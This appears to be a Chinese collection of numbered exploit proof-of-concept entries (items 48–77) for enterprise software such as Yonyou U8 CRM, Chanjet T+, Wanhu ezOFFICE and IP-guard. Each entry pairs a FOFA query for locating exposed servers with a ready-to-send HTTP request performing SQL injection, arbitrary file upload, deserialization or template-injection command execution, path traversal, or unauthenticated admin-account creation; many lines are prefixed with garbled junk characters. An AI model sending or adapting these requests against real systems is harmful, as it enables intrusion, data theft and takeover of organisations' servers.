Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
7 j& A) X+ f0 P8 `. b0 tIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
( W& \& K* d; b% R! b) \" E6 lConnection: close

; f/ k7 E! x' @  x& b

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
/ j9 j$ {! `- l- w; ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' I1 D4 \% |7 K8 b, XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- k% R4 I; C7 W0 w9 B4 u& W! E# ^; fContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
5 t( P3 Y& Y- v) d9 R------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
- t4 d7 ^- U6 ~0 Lupload
0 q% ?9 k( O2 z& B: W5 R------269520967239406871642430066855--

  E; z; {; m: E6 h# T: t- }' ?. z
9 j: V5 N& k0 |5 `5 j" W" V49. 用友U8 CRM系统uploadfile.php接口任意文件上传
1 e" l- l$ Z/ L  r- r' F9 PFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
: v8 m, `6 c2 H% X; {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ r0 |% j: b, ~- d2 b! h6 l# fContent-Length: 329
9 r5 X& J8 J1 ~- }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 b0 n1 x: \$ N( ~  ~- h3 O  xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( I! }5 ?& n5 @2 x: lConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
+ t/ J% K* K' x) _7 p
-----------------------------vvv3wdayqv3yppdxvn3w
; M1 W8 ^- O& [' g4 RContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
# z& V: q7 C9 l* ^* E4 H: f
/ k2 i+ ?0 f- S3 P( Mwersqqmlumloqa
  y6 L9 L( d( u& U-----------------------------vvv3wdayqv3yppdxvn3w
0 C; \! Q: x) w9 {  n' T" H1 uContent-Disposition: form-data; name="upload"

8 P0 c& ]1 I" ?4 e4 bupload
-----------------------------vvv3wdayqv3yppdxvn3w--

' J1 F5 @. p* ?4 L
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
2 k8 @' H1 }. _& R: |4 eHost: x.x.x.x
2 t3 y  a; r! WUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 O" y6 \, E5 KConnection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

, ~6 N" O# W: h$ ?; M# S! ]- q/ Esearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
0 J! G& i! E0 K$ ^+ T' k' e
; ~* Z. P  y9 w0 l
8 m- S" C" w/ Y' j51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
# P! x' P+ ]; o: C* mFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
) Q3 u3 \" S6 v$ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# i. \; ^8 q4 R- L  m* h. mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. }: z) o. ], u4 K) dConnection: close


52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
0 N4 j3 E6 o# Y3 w/ {  v! R  ~Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) @5 r8 o6 f( Z3 L% cConnection: close
Content-Length: 87
3 B1 D0 L4 O1 n! {5 r$ n8 ^Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
# W  T" U. h; S, w# EAccept-Encoding: gzip
# ]) {# O( Z* m" f9 J$ b
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
- X' ]0 `, q+ W5 r6 P- v3 B

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

0 h% g) Q. R- w% n
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
/ l& e; s7 T8 A  X$ B7 q# t+ C9 j
2 _: O; B4 s1 X8 X; Q
完整数据包
3 s; r  c4 b0 i* ^POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
4 |# w5 V' R" o3 D4 c4 AContent-Length: 593
/ M4 G  j" k% n$ Z6 r& h, C
0 c& c3 T  p+ d3 B0 ~{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
$ \5 A8 L. `) ~ "MethodName":"Start",
" Z  Q- p& j# i) q2 M  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
1 m# ~) ^) Q1 i2 S  z: D: @2 c    "StartInfo":{
4 L" N$ O* ^4 G) o. L5 m3 t& Q   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 ]' c( w7 u" s+ d  i    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}
. ^8 e& K. K& X- E" W. _8 P% h
2 h* E9 e5 p0 O( j7 T/ f+ r
第二步，访问如下url
8 b+ S  f9 D" C. I1 w/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

9 D0 m" H: _% A1 t. v2 J
6 V+ V2 h9 \; u2 R55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
' t" a4 t# x: D* T0 ^- B8 i第一步，通过
1 i6 w( D% d3 I6 B; N/ O, K9 s1 {/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
5 t# a  R9 f. T0 z  g% q第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
' X8 `/ [+ g. U- Z: a  `# C% t
' }) ^+ t0 z! z56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
3 K3 J' T0 V1 h0 a: RPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
0 g9 U# I# ~' r+ b" e) O% TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
) F2 x0 N9 I8 S5 P; v  o9 \Content-Type: application/json

4 e$ _7 g1 Z3 \5 n7 T' T# I{
' m; p9 j+ A" j# A& T6 G  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
+ a8 N7 K# t1 ]% u/ Q1 h, _6 b   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 Y* `$ m- C7 I9 J        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
  ^+ {! l6 \7 ?( |. B/ |       }
    }
  w3 P. x" y1 x: z  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
. }/ s8 R4 P6 k; L" dFOFA：app="畅捷通-TPlus"
: B6 c3 T+ {. Q+ tGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
) n1 T5 P, J$ ^6 ^; H- V$ MHost: host
  e' V' S8 \; m, \8 Q9 I' FUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
$ X! O: H9 D6 }. A* n, H  M; xAccept-Encoding: gzip, deflate
Connection: close

1 t) d( _' h# U# [
' N) W# {# y2 S3 L8 g58. 畅捷通T+ KeyInfoList.aspx sql注入
0 G# v! o5 y4 L0 O# YFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
" o$ M  @3 L$ b; T$ R' ~' W% tUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! v" h- I7 k2 [- Q- C; B0 pAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
0 P. Q6 K  A7 U. V" MFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
: Q' J" E( E) S5 [" t0 X2 aPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
3 n/ @1 Q* ~0 G7 W& B0 ~$ P. TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
! E# O1 C/ H: Q/ oContent-Length: 1669
Accept: */*
' ]/ |, ~' R$ L+ u) RAccept-Language: en
6 D4 C; q( g) k6 s' [Content-Type: application/x-www-form-urlencoded
/ m& r! b* i' HAccept-Encoding: gzip

PAYLOAD
: z+ y6 V; f, K; X

, n# R% |6 u; D$ [) @6 c' M60. 百卓Smart管理平台 importexport.php SQL注入
2 U2 Q/ m/ s/ r6 [( f; E, tFOFA：title="Smart管理平台"
5 R# R9 K+ }; `" lGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
, z0 X$ i& v& u9 b. Y- x$ G! P* |Host:
5 y8 ~: @6 J$ E: W) M9 Z, ]6 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 R( j2 z$ v: l) S. D. I( ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: w3 p' `- Z. @( JConnection: close
- W7 n8 B3 P' q* @

) L# M& b+ v( l4 V9 l, s61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
" W- C2 ?0 {! _9 i- iFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
$ B; m4 a8 n' o3 d+ P
8uxssX66eqrqtKObcVa0kid98xa
' s8 W5 E: S* b% B3 o( P
* w! a# l% ?/ R0 J" @
8 D) u% q# O, A- s9 H62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
2 `% L3 N: w5 K$ w$ f8 o3 {User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

# u5 c) `4 I4 r1 e. K, q8 k# k
4 g/ k8 l& }6 Z5 ]访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
9 ~! R2 _0 T; r4 P  c4 p2 ~Host: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
$ Q8 z6 W$ n/ ?2 I6 N5 QFOFA：icon_hash="2030860561"
0 _4 D  m8 ^" ?, GPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
# n! E0 l5 G. IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
2 \& l' _' U" g8 d5 l: v' c5 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 M, Q0 W" x# b7 v, B' }Accept-Encoding: gzip, deflate
& T9 N) u% a4 v8 B0 l: D$ |/ z4 bAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 p) n0 H9 a& @% ZContent-Type: application/x-www-form-urlencoded
, [7 @5 i6 Q* Q5 L! v$ L2 s2 ]
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
3 I; v' d- T) W& S& d3 x4 S6 Q
" i% k0 y$ F5 X8 X64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
- X9 V# x- m7 @8 w4 bPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
) q7 ]3 A  Z! \3 DHost: 192.168.86.128:9001
6 L! Y# ]) \0 T% o3 Y8 mUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
  F6 N) Z- ?# c+ f9 T& j$ JContent-Length: 369
Accept: */*
, t4 m$ v0 w2 `. v# B" gAccept-Language: en
Content-Type: text/xml; charset=utf-8
( R  I% s1 F7 C1 EAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
. q1 P. N9 s- z<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 F  d7 @6 _: g) x* K1 Q. f<soap:Body>
9 E# r) H  P; [2 V    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
! L  v2 N- c7 [3 v

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
5 S6 f' e: I$ ~' W" y2 E6 U/ NFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
9 X; L4 j3 B6 ]# }. hPOST /SystemMng.ashx HTTP/1.1
2 ]7 G# |& q4 J1 o; c) JHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
2 w* P1 e( [  e, d& {5 ]( V+ UAccept-Language: en
* k7 ~$ z: Y# {Content-Length: 174

+ ^# J+ j! x0 U! d8 m1 L- G3 aoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
* U. F) j6 L* K( Y, d$ ^2 p7 e
) N, I. |1 X$ M9 E- @7 X
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
$ P% V* X3 C- o! L! kFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
) ~# }. d1 M. M( S& h9 K9 q3 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: v) C. }/ c+ n; H8 A4 w- y3 U+ rConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
- e0 i" ~' }1 Q% C: f5 _! {

9 [# S- A8 F3 `第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
8 d6 R# E8 l# T4 o: G
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
9 A4 C1 H8 j2 e: s# a! yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
) N" ^' \4 b) ?) I  `Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
4 S. {* I, {0 e1 N0 i0 }7 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
" {: `7 w2 \4 j& ZDNT: 1
; f. Y  F5 Z% [" Q% G, ^( A7 Z% bUpgrade-Insecure-Requests: 1
0 Q% g  Z. @+ |7 f/ T' Y& @
--ufuadpxathqvxfqnuyuqaozvseiueerp
6 x  o$ u5 V+ _+ ~& h5 a8 KContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
5 D( ?: B4 J) Y
* }2 l/ Q" _' h  S% k! [<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
" x- G, l1 P$ k: j! C( b% `  w1 g

1 b1 p& H9 f3 @& z  Z文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
* ]- D9 Q$ J2 |0 n$ S1 PGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
' e8 w3 I+ N. G, Z2 X0 A  {! \8 AHost: {{host}}
: ?4 k# b. t0 r/ X1 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
2 E) }9 P0 o# _0 x) `+ Q# NAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) d+ T/ A1 i  n7 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


5 u- c( f5 O" v# m. ]/ ?- v. m8 W8 L69. 万户 ezOFFICE contract_gd.jsp SQL注入
: p6 V3 ^6 J9 r; ^8 n9 g; [FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
1 }9 \  v- x. F& t- O- HHost: your-ip
& P2 I' T1 |7 G8 G) [, }& IUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
( z& U- L7 b8 A; PAccept: */*
( G- F+ P, h2 y1 K- [" AConnection: keep-alive


70. 万户ezEIP success 命令执行
4 ^/ r8 G- D, W# h0 lFOFA：app="万户网络-ezEIP"
: `! R( V: `2 pPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
6 l; [6 z% i) G8 b# E8 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+ d+ R/ C: d2 y0 m, \* hSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
1 ]7 ~7 V, A' k, |9 j+ ]Content-Type: application/x-www-form-urlencoded
TYPE: C
+ y8 Q! A8 L* c1 @9 h, DContent-Length: 16702

0 l( h/ l5 c8 ~+ [' g) S0 v__VIEWSTATE=PAYLOAD
* u" N0 X  ]: h+ g

  c' y/ F+ \6 w2 G( \71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
: _+ A' `' v" g! }% FFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
' z" f0 J+ f& c/ N6 rConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 _& D  r8 O. I$ t6 }: C" lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: u1 F/ f' u& P2 F# PUpgrade-Insecure-Requests: 1
# w( ^# n: O5 V  @& |$ h; h

# u2 i7 ^# i7 O, H. b! x$ v6 ]" Z8 W72. 致远OA getAjaxDataServlet XXE
) ~( d! b( j% j' ~' YFOFA：app="致远互联-OA"
  S8 z+ _0 h% ?POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
$ O; I. X' S4 X, B; G9 q  @& cUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
  s6 g2 o& t% y" ^1 S+ T) lContent-Length: 583
; h  U" F3 I, C/ X9 [Content-Type: application/x-www-form-urlencoded
8 Q# x0 ?7 M, I8 N1 t% o$ aAccept-Encoding: gzip

' o9 ~- [% R4 y" N; D4 FS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
. }8 O; P- @. h! _5 K" V  z; ]

: C* n2 R) X3 q# m2 Q( P- W73. GeoServer wms远程代码执行
* B% S: D$ G" X3 `( f3 jFOFA：icon_hash=”97540678”
+ z" G% F$ t/ pPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
6 y  C9 N+ J1 ~6 ~Connection: close
Content-Type: application/xml
7 \6 M( j4 B3 i( b. gSL-CE-SUID: 3

PAYLOAD

  V  D3 K* \8 [9 r- a) j3 S
74. 致远M3-server 6_1sp1 反序列化RCE
' X: |3 ?* C" uFOFA：title="M3-Server"
' ~. t8 Z: w: j. G8 {# ZPAYLOAD
# q. I  }  l8 o  Q1 e- Z/ G
, o. M% n) v+ p75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
3 X; R: \& c" f+ G. vGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
# Q/ y& N; w5 |. W. i& @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
2 F" `/ Q9 J; Y) n! x% A* W0 G6 ]Accept: */*
) G7 h' p! C. e6 ^  h' WAccept-Language: en
) E4 p* d6 f  P$ t$ T; GAccept-Encoding: gzip

9 v0 D* B/ i/ T& D: D8 B8 V
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
' z$ M! m$ I1 g  I

- s& Q7 B5 i% j76. 新开普掌上校园服务管理平台service.action远程命令执行
! [% N  \  v  d2 X* k0 d4 aFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
* S: m* s' N1 _- u+ a4 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
' H& l; e2 R* N. Y  tConnection: close
Content-Length: 211
9 i, q6 g4 z- cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 n; L/ k, q/ O' s, D3 T: @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# r* ^, @0 s4 QCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
( G' c$ W: X/ ?- V2 ~+ O: q
{
1 X* v9 a. j1 |5 V"command": "GetFZinfo",
7 w- \1 k( `; z% X6 I2 k/ ^  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
; A  u' ^" |+ _) I" J! V  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
  {+ p" _4 f  a/ A8 A! h}


( s, h3 f  [4 H. e) ^GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
3 D' M8 ~/ j# ]- u* oHost: x.x.x.x
3 f, v* r* p- u2 P
! y- t* Z: Y3 p) O4 @. t! i
6 L  \% _! M6 o" p
9 R- w: R/ x! S* w4 P* V4 o77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
